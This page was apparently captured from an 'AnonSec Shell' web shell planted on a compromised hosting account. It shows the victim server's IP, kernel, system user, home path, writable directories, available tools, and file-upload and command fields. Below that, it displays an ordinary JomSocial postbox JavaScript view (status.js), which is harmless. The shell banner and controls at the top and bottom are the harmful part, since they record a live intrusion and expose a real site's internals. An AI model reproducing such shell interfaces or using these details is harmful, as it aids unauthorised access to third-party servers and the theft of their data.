AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/components/com_community/assets/postbox/js/views/postbox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/components/com_community/assets/postbox/js/views/postbox/status.js
define('views/postbox/status',[
    'sandbox',
    'app',
    'views/postbox/default',
    'views/postbox/fetcher',
    'views/inputbox/status',
    'views/dropdown/mood',
    'views/dropdown/location',
    'views/dropdown/privacy',
    'utils/constants',
    'utils/language'
],

// definition
// ----------
function(
    $,
    App,
    DefaultView,
    FetcherView,
    InputboxView,
    MoodView,
    LocationView,
    PrivacyView,
    constants,
    language
) {

    return DefaultView.extend({

        subviews: {
            mood: MoodView,
            location: LocationView,
            privacy: PrivacyView
        },

        template: _.template(
            '<div class=joms-postbox-status>\
                <div class=joms-postbox-fetched></div>\
                <div class=joms-postbox-inputbox></div>\
                <nav class="joms-postbox-tab selected">\
                    <ul class="joms-list inline">\
                        <li data-tab=mood><svg viewBox="0 0 16 18" class="joms-icon"><use xlink:href="<%= window.joms_current_url %>#joms-icon-happy"></use></svg></li>\
                        <li data-tab=location><svg viewBox="0 0 16 18" class="joms-icon"><use xlink:href="<%= window.joms_current_url %>#joms-icon-location"></use></svg></li>\
                        <li data-tab=privacy><svg viewBox="0 0 16 18" class="joms-icon"><use xlink:href="<%= window.joms_current_url %>#joms-icon-earth"></use></svg> </li>\
                        <% if (enablephoto) { %>\
                        <li data-tab=photo data-bypass=1><svg viewBox="0 0 16 18" class="joms-icon"><use xlink:href="<%= window.joms_current_url %>#joms-icon-camera"></use></svg></li>\
                        <% } %>\
                        <% if (enablevideo) { %>\
                        <li data-tab=video data-bypass=1><svg viewBox="0 0 16 18" class="joms-icon"><use xlink:href="<%= window.joms_current_url %>#joms-icon-play"></use></svg></li>\
                        <% } %>\
                        <% if (enablefile) { %>\
                        <li data-tab=file data-bypass=1><svg viewBox="0 0 16 18" class="joms-icon"><use xlink:href="<%= window.joms_current_url %>#joms-icon-file-zip"></use></svg></li>\
                        <% } %>\
                        <% if (enablepoll) { %>\
                        <li data-tab=poll data-bypass=1><svg viewBox="0 0 16 18" class="joms-icon"><use xlink:href="<%= window.joms_current_url %>#joms-icon-list"></use></svg></li>\
                        <% } %>\
                    </ul>\
                    <div class=joms-postbox-action>\
                        <button class=joms-postbox-cancel><%= language.postbox.cancel_button %></button>\
                        <button class=joms-postbox-save><%= language.postbox.post_button %></button>\
                    </div>\
                    <div class=joms-postbox-loading style="display:none;">\
                        <img src="<%= juri.root %>components/com_community/assets/ajax-loader.gif" alt="loader">\
                    <div>\
                </nav>\
            </div>'            
        ),

        getTemplate: function() {
            var settings = constants.get('settings') || {},
                conf = constants.get('conf') || {},
                enablephoto = true,
                enablevideo = true,
                enablefile = true,
                enablepoll = true;

            if ( settings.isProfile || settings.isGroup || settings.isEvent || settings.isPage ) {
                conf.enablephotos || (enablephoto = false);
                conf.enablevideos || (enablevideo = false);
                conf.enablefiles || (enablefile = false);
                conf.enablepolls || (enablepoll = false);
            }

            var html = this.template({
                juri: constants.get('juri'),
                enablephoto: enablephoto,
                enablevideo: enablevideo,
                enablefile: enablefile,
                enablepoll: enablepoll,
                language: {
                    postbox: language.get('postbox') || {},
                    status: language.get('status') || {}
                }
            });

            return $( html ).hide();
        },

        events: $.extend({}, DefaultView.prototype.events, {
            'click li[data-tab=photo]': 'onAddPhoto',
            'click li[data-tab=video]': 'onAddVideo',
            'click li[data-tab=file]': 'onAddFile',
            'click li[data-tab=poll]': 'onAddPoll'
        }),

        initialize: function() {
            var settings = constants.get('settings') || {};
            if ( this.inheritPrivacy = (settings.isPage || settings.isGroup || settings.isEvent || !settings.isMyProfile))
                this.subviews = $.omit( this.subviews, 'privacy' );

            var moods = constants.get('moods');
            this.enableMood = +constants.get('conf.enablemood') && moods && moods.length;
            if ( !this.enableMood )
                this.subviews = $.omit( this.subviews, 'mood' );

            this.enableLocation = +constants.get('conf.enablelocation');
            if ( !this.enableLocation )
                this.subviews = $.omit( this.subviews, 'location' );

            DefaultView.prototype.initialize.apply( this );
        },

        render: function() {
            DefaultView.prototype.render.apply( this );

            this.$inputbox = this.$('.joms-postbox-inputbox');
            this.$fetcher = this.$('.joms-postbox-fetched');
            this.$tabmood = this.$tabs.find('[data-tab=mood]');
            this.$tablocation = this.$tabs.find('[data-tab=location]');
            this.$tabprivacy = this.$tabs.find('[data-tab=privacy]');

            if ( !this.enableMood )
                this.$tabmood.remove();

            if ( !this.enableLocation )
                this.$tablocation.remove();

            if ( this.inheritPrivacy ) {
                if ( this.$tabprivacy.next().length )
                    this.$tabprivacy.remove();
                else
                    this.$tabprivacy.css({ visibility: 'hidden' });
            }

            // inputbox
            this.inputbox = new InputboxView({ attachment: true, charcount: true, status: true });
            this.assign( this.$inputbox, this.inputbox );
            this.listenTo( this.inputbox, 'focus', this.onInputFocus );
            this.listenTo( this.inputbox, 'keydown', this.onInputUpdate );
            this.listenTo( this.inputbox, 'paste', this.onInputUpdate );
            this.listenTo( this.inputbox, 'change:type', this.onInputChangeType );

            // init privacy
            var defaultPrivacy, settings;
            if ( !this.inheritPrivacy ) {
                settings = constants.get('settings') || {};
                if ( settings.isProfile && settings.isMyProfile )
                    defaultPrivacy = constants.get('conf.profiledefaultprivacy');
                this.initSubview('privacy', { privacylist: window.joms_privacylist, defaultPrivacy: defaultPrivacy || 'public' });
            }

            if ( this.single )
                this.listenTo( $, 'click', this.onDocumentClick );

            return this;
        },

        // ---------------------------------------------------------------------
        // Data validation and retrieval.
        // ---------------------------------------------------------------------

        reset: function() {
            DefaultView.prototype.reset.apply( this );
            this.inputbox && this.inputbox.reset();
            this.fetcher && this.fetcher.remove();
        },

        value: function() {
            this.data.text = this.inputbox.value() || '';
            this.data.text = this.data.text.replace( /\n/g, '\\n' );

            this.data.attachment = {};

            if (this.inputbox.colorful) {
                this.data.attachment.colorful = true;
                this.data.attachment.bgid = this.inputbox.bgid;
            }

            var value;
            for ( var prop in this.subflags )
                if ( value = this.subviews[ prop ].value() )
                    this.data.attachment[ prop ] = value;

            if ( this.fetcher )
                this.data.attachment.fetch = this.fetcher.value();

            return DefaultView.prototype.value.apply( this, arguments );
        },

        validate: $.noop,

        // ---------------------------------------------------------------------
        // Inputbox event handlers.
        // ---------------------------------------------------------------------

        onInputChangeType: function(type) {
            if (type) {
                this.$tabmood.attr('style', 'display: none !important');
                this.$tablocation.attr('style', 'display: none !important');
            } else {
                this.$tabmood.attr('style', '');
                this.$tablocation.attr('style', '');
            }
        },

        onInputFocus: function() {
            this.showMainState();
        },

        onInputUpdate: function( text, key ) {
            var div;

            text = text || '';
            this.togglePostButton( text );

            if ( key === 32 || key === 13 ) {
                this.fetch( text );
            } else {
                this.fetchProxy( text );
            }
        },

        // ---------------------------------------------------------------------
        // Fetching event handler.
        // ---------------------------------------------------------------------

        fetchProxy: $.debounce(function( text ) {
            this.fetch( text );
        }, 1000 ),

        fetch: function( text ) {
            var div;

            if ( this.fetcher && (this.fetcher.fetching || this.fetcher.fetched) )
                return;

            if ( this.fetcher )
                this.fetcher.remove();

            div = $('<div>').appendTo( this.$fetcher );
            this.fetcher = new FetcherView();
            this.fetcher.setElement( div );
            this.listenTo( this.fetcher, 'fetch:start', this.onFetchStart );
            this.listenTo( this.fetcher, 'fetch:done', this.onFetchDone );
            this.listenTo( this.fetcher, 'remove', this.onFetchRemove );
            this.fetcher.fetch( text.replace( /^\s+|\s+$/g, '' ) );
        },

        onFetchStart: function() {
            this.saving = true;
            this.$loading.show();
        },

        onFetchDone: function() {
            this.$loading.hide();
            this.saving = false;
        },

        onFetchRemove: function() {
            this.fetcher = false;
        },

        onDocumentClick: function( elem ) {
            if ( elem.closest('.joms-postbox').length )
                return;

            var text = this.inputbox.value();
            text = text.replace( /^\s+|\s+$/g, '' );
            if ( !text )
                this.showInitialState();
        },

        // ---------------------------------------------------------------------
        // Dropdowns event handlers.
        // ---------------------------------------------------------------------

        onMoodSelect: function( mood ) {
            this.inputbox.updateAttachment( mood );
            this.togglePostButton();
        },

        onMoodRemove: function() {
            this.inputbox.updateAttachment( false );
            this.togglePostButton();
        },

        onLocationSelect: function( location ) {
            this.inputbox.updateAttachment( null, location );
            this.togglePostButton();
        },

        onLocationRemove: function() {
            this.inputbox.updateAttachment( null, false );
            this.togglePostButton();
        },

        onPrivacySelect: function( data ) {
            var icon = this.$tabprivacy.find('use'),
                href = icon.attr('xlink:href');

            href = href.replace(/#.+$/, '#joms-icon-' + data.icon );

            this.$tabprivacy.find('use').attr( 'xlink:href', href );
            this.$tabprivacy.find('span').html( data.label );
        },

        // ---------------------------------------------------------------------
        // Add photo/video event handlers.
        // ---------------------------------------------------------------------

        onAddPhoto: function() {
            App.postbox || (App.postbox = {});
            App.postbox.value = this.value( true );
            App.postbox.value[0] = App.postbox.value[0].replace( /\\n/g, '\n' );
            $.trigger( 'postbox:photo' );
        },

        onAddVideo: function() {
            App.postbox || (App.postbox = {});
            App.postbox.value = this.value( true );
            App.postbox.value[0] = App.postbox.value[0].replace( /\\n/g, '\n' );
            $.trigger( 'postbox:video' );
        },

        onAddFile: function() {
            App.postbox || (App.postbox = {});
            App.postbox.value = this.value( true );
            App.postbox.value[0] = App.postbox.value[0].replace( /\\n/g, '\n' );
            $.trigger( 'postbox:file' );
        },

        onAddPoll: function() {
            App.postbox || (App.postbox = {});
            App.postbox.value = this.value( true );
            App.postbox.value[0] = App.postbox.value[0].replace( /\\n/g, '\n' );
            $.trigger( 'postbox:poll' );
        },

        // ---------------------------------------------------------------------
        // Helper functions.
        // ---------------------------------------------------------------------

        getStaticAttachment: function() {
            if ( this.staticAttachment )
                return this.staticAttachment;

            this.staticAttachment = $.extend({},
                constants.get('postbox.attachment') || {},
                { type: 'message' }
            );

            return this.staticAttachment;
        },

        togglePostButton: function( text ) {
            var enabled = false;

            if ( text )
                enabled = true;

            if ( !enabled && this.subflags.mood )
                enabled = this.subviews.mood.value();

            if ( !enabled && this.subflags.location )
                enabled = this.subviews.location.value();

            this.$save[ enabled ? 'show' : 'hide' ]();
        }

    });

});

Anon7 - 2022
AnonSec Team